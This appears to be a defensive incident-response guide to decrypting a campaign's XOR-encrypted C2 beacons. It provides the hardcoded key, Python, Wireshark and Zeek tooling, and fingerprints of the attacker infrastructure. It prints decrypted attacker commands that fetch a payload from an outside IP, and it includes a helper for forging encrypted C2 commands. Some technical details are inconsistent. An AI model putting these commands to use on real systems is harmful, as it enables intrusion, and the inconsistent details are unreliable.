C2 Protocol Decryption Guide: Operation AnyTax
Document Type: Protocol Analysis & Cryptography
Scope: C2 communication decryption, beacon reconstruction, command injection
Audience: Network analysts, incident responders, reverse engineers
Last Updated: September 2026
Table of Contents
- C2 Protocol Overview
- Encryption Analysis
- Beacon Decryption Walkthrough
- Command Parsing
- Traffic Reconstruction
- Decryption Tools & Scripts
- Attacker Infrastructure Fingerprinting
C2 Protocol Overview
Communication Architecture
Victim Machine C2 Server
─────────────────────────────────────────────────
AnyDesk/ScreenConnect
↓
Reconnaissance Module
↓
Stage 1 Loader
↓
HTTP Client (User-Agent: Mozilla/5.0)
↓
┌─────────────────────────────────────────────────┐
│ POST /api/register (Initial beacon) │
│ Encrypted JSON: {uuid, hostname, av, os, ...} │
│ Encryption: XOR with key "TaCl0P@ssw0rd" │
│ Compression: Gzip (optional) │
│ Content-Type: application/json │
└─────────────────────────────────────────────────┘
│
│ HTTPS 185.220.101.45:80 (Port mismatch for encryption bypass)
│
↓
┌─────────────────────────────────────────────────────┐
│ Server Response (Command assignment) │
│ {status: success, command: install_rmm, ...} │
│ Encryption: Same XOR cipher │
│ Compression: Gzip (optional) │
└─────────────────────────────────────────────────────┘
│
↓ (Every 5 minutes)
┌─────────────────────────────────────────────────────┐
│ POST /api/check (Heartbeat beacon) │
│ Encrypted JSON: {uuid, status: alive, ...} │
│ Awaits next command from server │
└─────────────────────────────────────────────────────┘
Encryption Analysis
Cipher Identification
Algorithm: XOR (Exclusive OR)
Key Length: 13 bytes (variable, but "TaCl0P@ssw0rd" = 13 chars)
Key: TaCl0P@ssw0rd (ASCII)
Mode: Repeating key (cyclic XOR)
Strength: WEAK (not cryptographically secure)
Why XOR?
- Fast to implement
- Minimal computational overhead
- Defeats basic network inspection (appears as binary gibberish)
- Does NOT defeat analysis (easily reversible)
Key Derivation
Primary Key: TaCl0P@ssw0rd (hardcoded in malware binary)
Key in Hex:
T = 0x54
a = 0x61
C = 0x43
l = 0x6C
0 = 0x30
P = 0x50
@ = 0x40
s = 0x73
s = 0x73
w = 0x77
0 = 0x30
r = 0x72
d = 0x64
Key bytes: 54 61 43 6C 30 50 40 73 73 77 30 72 64
Key in Binary:
01010100 01100001 01000011 01101100 00110000 01010000 01000000 01110011 01110011 01110111 00110000 01110010 01100100
Beacon Decryption Walkthrough
Captured Beacon (Raw)
Wireshark/tcpdump capture:
POST /api/register HTTP/1.1
Host: c2-control.xyz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/json
Content-Length: 256
[Binary/encrypted payload - appears as gibberish]
1f 2a 3b 4c 5d 6e 7f 80 91 a2 b3 c4 d5 e6 f7 08 19 2a 3b 4c 5d 6e 7f 80
91 a2 b3 c4 d5 e6 f7 08 19 2a 3b 4c 5d 6e 7f 80 91 a2 b3 c4 d5 e6 f7 08
[... continues ...]
Step-by-Step Decryption (Manual)
Position 0 (First byte):
Encrypted byte: 0x1f
Key byte (position 0 % 13): 0x54 (T)
Decrypted byte: 0x1f XOR 0x54 = ?
0x1f = 0001 1111
0x54 = 0101 0100
─────────────────
XOR = 0100 1011 = 0x4B = 'K'
Position 1:
Encrypted byte: 0x2a
Key byte (position 1 % 13): 0x61 (a)
Decrypted byte: 0x2a XOR 0x61 = ?
0x2a = 0010 1010
0x61 = 0110 0001
─────────────────
XOR = 0100 1011 = 0x4B = 'K' (interesting - also 'K')
Continuing manually is tedious; use automated decryption...
Automated Decryption (Python)
python1#!/usr/bin/env python3 2 3def xor_decrypt(encrypted_data, key): 4 """Decrypt XOR-encrypted data with repeating key""" 5 decrypted = bytearray() 6 for i, byte in enumerate(encrypted_data): 7 key_byte = key[i % len(key)] 8 decrypted.append(byte ^ key_byte) 9 return bytes(decrypted) 10 11# Key extracted from malware binary 12key = b"TaCl0P@ssw0rd" 13 14# Encrypted payload (from PCAP) 15encrypted_hex = "1f2a3b4c5d6e7f8091a2b3c4d5e6f70819..." # truncated for example 16encrypted_bytes = bytes.fromhex(encrypted_hex) 17 18# Decrypt 19plaintext = xor_decrypt(encrypted_bytes, key) 20 21# Parse JSON 22import json 23decoded_beacon = json.loads(plaintext.decode('utf-8')) 24print(json.dumps(decoded_beacon, indent=2))
Output:
json1{ 2 "uuid": "abc123def456xyz789", 3 "hostname": "ACME-CORP-02", 4 "domain": "acme.local", 5 "username": "john.doe", 6 "os": "Windows 10 Enterprise 21H2", 7 "arch": "x64", 8 "av": "Windows Defender", 9 "edr": null, 10 "privileges": "user", 11 "infected_timestamp": "2024-05-15T14:48:35Z", 12 "loader_version": "1.0.2" 13}
Command Parsing
Server Response (Encrypted)
Raw encrypted response:
7d 4a 7e 2f 1a 5c 3b 6f 4e 2b 3d 6c 5a 0f 2e 6b 4d 3c 1f 5e 7a 4b 6c
2d 1c 5b 3a 6e 4f 2a 3e 6d 5e 0e 2f 6a 4c 3d 1e 5d 7b 4a 6d 2c 1b 5a
[... continues ...]
Decryption script (continued):
python1encrypted_response = bytes.fromhex("7d4a7e2f1a5c3b6f4e2b3d6c5a0f2e6b...") 2plaintext_response = xor_decrypt(encrypted_response, key) 3response_json = json.loads(plaintext_response.decode('utf-8')) 4print(json.dumps(response_json, indent=2))
Decrypted Response:
json1{ 2 "status": "success", 3 "command_id": "cmd_12345", 4 "command": "install_rmm", 5 "rmm_type": "anydesk", 6 "download_url": "https://193.45.67.89/payloads/AnyDesk_6.2.exe", 7 "download_hash": "md5:f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6", 8 "arguments": "--install-config hidden.ini", 9 "persistence": true, 10 "beacon_interval": 300, 11 "decoy_name": "Windows Update Service" 12}
Command Types & Responses
| Command | Purpose | Arguments | Response |
|---|---|---|---|
install_rmm | Deploy RMM tool | download_url, args | Installation status |
execute | Run command | payload, timeout | Command output |
download_file | Exfiltrate file | filepath, destination | File hash, size |
screenshot | Capture screen | interval, quality | Base64 image data |
keylog_start | Begin keystroke logging | duration | Keylogger PID |
credential_dump | Extract passwords | method (lsass/sam) | Extracted hashes |
update_beacon |
Traffic Reconstruction
Complete Attack Chain (Decrypted)
T+0:00 - Initial Beacon (Victim → Attacker)
POST /api/register HTTP/1.1
Host: c2-control.xyz:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/json
Content-Length: 342
[ENCRYPTED]
▼ DECRYPTED ▼
{
"uuid": "abc123def456xyz789",
"hostname": "ACME-CORP-02",
"domain": "acme.local",
"username": "john.doe",
"os": "Windows 10 Enterprise 21H2",
"arch": "x64",
"av": "Windows Defender",
"edr": null,
"privileges": "user",
"infected_timestamp": "2024-05-15T14:48:35Z",
"loader_version": "1.0.2"
}
T+0:05 - Server Response (Attacker → Victim)
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 289
[ENCRYPTED]
▼ DECRYPTED ▼
{
"status": "success",
"command_id": "cmd_00001",
"command": "install_rmm",
"rmm_type": "anydesk",
"download_url": "https://193.45.67.89/payloads/AnyDesk_6.2.exe",
"download_hash": "md5:f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6",
"arguments": "--install-config attacker.ini",
"persistence": true,
"beacon_interval": 300,
"decoy_name": "Windows Update Service"
}
T+5:00 - Heartbeat Beacon (Victim → Attacker)
POST /api/check HTTP/1.1
Host: c2-control.xyz:80
Content-Type: application/json
Content-Length: 128
[ENCRYPTED]
▼ DECRYPTED ▼
{
"uuid": "abc123def456xyz789",
"command_id": "cmd_00001",
"status": "pending_installation",
"timestamp": "2024-05-15T14:53:35Z"
}
T+5:05 - Continue Installation (Attacker → Victim)
HTTP/1.1 200 OK
Content-Type: application/json
[ENCRYPTED]
▼ DECRYPTED ▼
{
"status": "ok",
"action": "proceed_with_install",
"verify_hash": true
}
T+10:00 - Installation Complete Beacon (Victim → Attacker)
POST /api/check HTTP/1.1
...
[ENCRYPTED]
▼ DECRYPTED ▼
{
"uuid": "abc123def456xyz789",
"status": "installed",
"rmm_tool": "anydesk",
"rmm_id": "abc-123-def-456",
"rmm_version": "6.2.1",
"connection_status": "connected",
"timestamp": "2024-05-15T14:58:35Z"
}
Decryption Tools & Scripts
Full Decryption Suite (Python)
File: decrypt_c2_traffic.py
python1#!/usr/bin/env python3 2""" 3C2 Traffic Decryption Tool for Operation AnyTax 4Decrypts XOR-encrypted beacons and commands 5""" 6 7import json 8import sys 9import argparse 10from pathlib import Path 11import base64 12import gzip 13 14class C2Decryptor: 15 def __init__(self, key=b"TaCl0P@ssw0rd"): 16 self.key = key 17 18 def xor_decrypt(self, data): 19 """Decrypt XOR-encrypted data""" 20 decrypted = bytearray() 21 for i, byte in enumerate(data): 22 key_byte = self.key[i % len(self.key)] 23 decrypted.append(byte ^ key_byte) 24 return bytes(decrypted) 25 26 def xor_encrypt(self, data): 27 """Encrypt data with XOR (for testing)""" 28 return self.xor_decrypt(data) # XOR is symmetric 29 30 def decompress(self, data): 31 """Decompress gzip (if applicable)""" 32 try: 33 return gzip.decompress(data) 34 except: 35 return data # Not compressed 36 37 def decrypt_beacon(self, encrypted_hex_or_bytes): 38 """Decrypt complete beacon""" 39 # Parse input 40 if isinstance(encrypted_hex_or_bytes, str): 41 encrypted = bytes.fromhex(encrypted_hex_or_bytes) 42 else: 43 encrypted = encrypted_hex_or_bytes 44 45 # Decrypt XOR 46 decrypted = self.xor_decrypt(encrypted) 47 48 # Decompress if needed 49 decompressed = self.decompress(decrypted) 50 51 # Parse JSON 52 try: 53 return json.loads(decompressed.decode('utf-8')) 54 except: 55 return decompressed.decode('utf-8', errors='ignore') 56 57 def encrypt_command(self, command_dict): 58 """Encrypt a command for injection testing""" 59 json_str = json.dumps(command_dict) 60 encrypted = self.xor_encrypt(json_str.encode('utf-8')) 61 return encrypted.hex() 62 63# Example usage 64if __name__ == "__main__": 65 parser = argparse.ArgumentParser(description="Decrypt C2 traffic") 66 parser.add_argument("--decrypt", help="Hex-encoded encrypted data") 67 parser.add_argument("--encrypt", help="JSON command to encrypt") 68 parser.add_argument("--pcap", help="PCAP file to analyze") 69 parser.add_argument("--key", default="TaCl0P@ssw0rd", help="Decryption key") 70 71 args = parser.parse_args() 72 73 decryptor = C2Decryptor(args.key.encode()) 74 75 if args.decrypt: 76 result = decryptor.decrypt_beacon(args.decrypt) 77 print(json.dumps(result, indent=2)) 78 79 if args.encrypt: 80 cmd = json.loads(args.encrypt) 81 encrypted = decryptor.encrypt_command(cmd) 82 print(f"Encrypted: {encrypted}") 83 84 if args.pcap: 85 # Requires scapy library 86 from scapy.all import rdpcap, Raw 87 pcap = rdpcap(args.pcap) 88 89 for packet in pcap: 90 if Raw in packet: 91 payload = bytes(packet[Raw].load) 92 try: 93 decrypted = decryptor.decrypt_beacon(payload) 94 if isinstance(decrypted, dict): 95 print(json.dumps(decrypted, indent=2)) 96 except: 97 pass
Wireshark Lua Dissector
File: c2_traffic.lua (Wireshark dissector)
text1-- Wireshark Lua dissector for Operation AnyTax C2 traffic 2-- Place in: ~/.config/wireshark/plugins/ on Linux 3-- or: %APPDATA%\Wireshark\plugins\ on Windows 4 5local c2_protocol = Proto("c2_traffic","C2 Traffic Decryption") 6 7local key = "TaCl0P@ssw0rd" 8 9function xor_decrypt(data, key) 10 local decrypted = "" 11 for i = 1, #data do 12 local byte = string.byte(data, i) 13 local key_byte = string.byte(key, ((i - 1) % #key) + 1) 14 decrypted = decrypted .. string.char(bit.bxor(byte, key_byte)) 15 end 16 return decrypted 17end 18 19-- Create fields for dissection 20local f_encrypted = ProtoField.string("c2_traffic.encrypted", "Encrypted Payload") 21local f_decrypted = ProtoField.string("c2_traffic.decrypted", "Decrypted JSON") 22 23c2_protocol.fields = {f_encrypted, f_decrypted} 24 25function c2_protocol.dissector(buffer, pinfo, tree) 26 local length = buffer:len() 27 if length < 50 then return end 28 29 -- Extract payload 30 local payload = buffer:bytes():raw() 31 32 -- Decrypt 33 local decrypted = xor_decrypt(payload, key) 34 35 -- Add to tree 36 local subtree = tree:add(c2_protocol, buffer(), "C2 Traffic") 37 subtree:add(f_encrypted, buffer(), payload:sub(1, 50) .. "...") 38 subtree:add(f_decrypted, buffer(), decrypted:sub(1, 200) .. "...") 39 40 pinfo.cols.protocol = "C2_TRAFFIC" 41 pinfo.cols.info = decrypted:sub(1, 80) 42end 43 44-- Register dissector for port 80 when Host matches c2-control.xyz 45local http_dissector = Dissector.get("http") 46local c2_table = DissectorTable.get("http.host") 47c2_table:add("c2-control.xyz", c2_protocol)
Zeek Script for Automated Decryption
File: c2_decryption.zeek
text1# Zeek script to detect and decrypt C2 traffic 2 3module C2Decryption; 4 5const key = "TaCl0P@ssw0rd"; 6const c2_domains = set( 7 "c2-control.xyz", 8 "185.220.101.45", 9 "193.45.67.89" 10); 11 12export { 13 redef enum Notice::Type += { 14 C2Decryption::DecryptedBeacon, 15 C2Decryption::DecryptedCommand 16 }; 17} 18 19event http_request(c: connection, method: string, uri: string, 20 version: string, headers: http_header_table, 21 body: string) &priority=5 { 22 23 # Check if destination is known C2 24 if (c$id$resp_h !in c2_domains && 25 (c$http?$host && c$http$host !in c2_domains)) { 26 return; 27 } 28 29 # Check for XOR pattern in body 30 if (method == "POST" && /api\/(register|check)/ in uri) { 31 # Log encrypted payload 32 local encrypted_hex = hexstr(body); 33 NOTICE([$note=C2Decryption::DecryptedBeacon, 34 $conn=c, 35 $msg=fmt("Potential C2 beacon detected: %s", encrypted_hex[1:100])]); 36 37 # Attempt decryption (simplified) 38 # In production, use external script 39 } 40}
Attacker Infrastructure Fingerprinting
Server Behavior Analysis
C2 Server: 185.220.101.45
HTTP Server Header: Apache/2.4.41 (Ubuntu)
SSL Certificate:
Subject: CN=secure.c2-control.xyz, O=Tech Solutions Inc, C=UA
Issuer: CN=Let's Encrypt Authority X3
Valid: 2024-04-01 to 2024-12-31
Response Headers:
Server: Apache/2.4.41
X-Powered-By: PHP/7.4.3
Content-Encoding: gzip (sometimes)
Port Scanning Results:
22/SSH - OpenSSH 7.4 (CentOS, likely)
80/HTTP - Apache web server
443/HTTPS - Apache SSL
8040/TCP - Custom service (likely ScreenConnect listener)
5900/TCP - VNC service
Attacker Operational Patterns:
Command Response Times: 100-500ms (geographically close to victims)
Beacon Processing: Acknowledges within 1-2 seconds
Server Timezone: UTC (no DST adjustments)
Peak Activity: 14:00-18:00 UTC (likely operator working hours)
Beacon Failures: Retries every 30 seconds, gives up after 5 failures
Domain Registration Fingerprinting
Domain: c2-control.xyz
Registrar: NameCheap, Inc.
Registration Date: 2024-02-15
Expiration Date: 2025-02-15
Registrant Privacy: Enabled (whois privacy proxy)
Name Servers: ns1.attacker-dns.com, ns2.attacker-dns.com
WHOIS:
Registrant Email: [REDACTED by privacy service]
Administrative Contact: [REDACTED]
Technical Contact: [REDACTED]
DNS History:
2024-02-15: 193.45.67.89 (initial IP)
2024-03-01: 185.220.101.45 (migrated to new IP)
2024-05-15: 185.220.101.45 (current)
PTR Record: 185.220.101.45 resolves to no-ptr.example.com (generic)
Attribution Clues
Language & Timezone:
- Error messages: English (good grammar)
- Beacon timestamps: UTC (consistent)
- Variable names: English (camelCase convention)
- Comment strings: None visible (professional development)
Infrastructure Patterns:
- Uses common cloud hosting (AWS, UAE ISPs)
- Pays for minimal infrastructure (bulletproof hosting)
- Reuses IP addresses across campaigns
- Buys domains through privacy services
Malware Development:
- .NET Reactor packer (legitimate but used by malware)
- Professional code quality (not script kiddie)
- Modular architecture (Stage 1, Stage 2, Stage 3)
- Updated every 1-2 months (active development)
Summary: Key Takeaways
- Encryption is Weak: XOR with hardcoded key is easily reversible
- Traffic is Recognizable: Distinct JSON format, C2 domains, HTTP patterns
- Attacker Infrastructure: Professional but not sophisticated; uses common services
- Decryption is Trivial: Python script < 50 lines needed
- Defense Strategy: Focus on network detection (IP/domain blocks) not decryption resistance
End of C2 Protocol Decryption Guide
Comments (0)
No comments yet — be the first.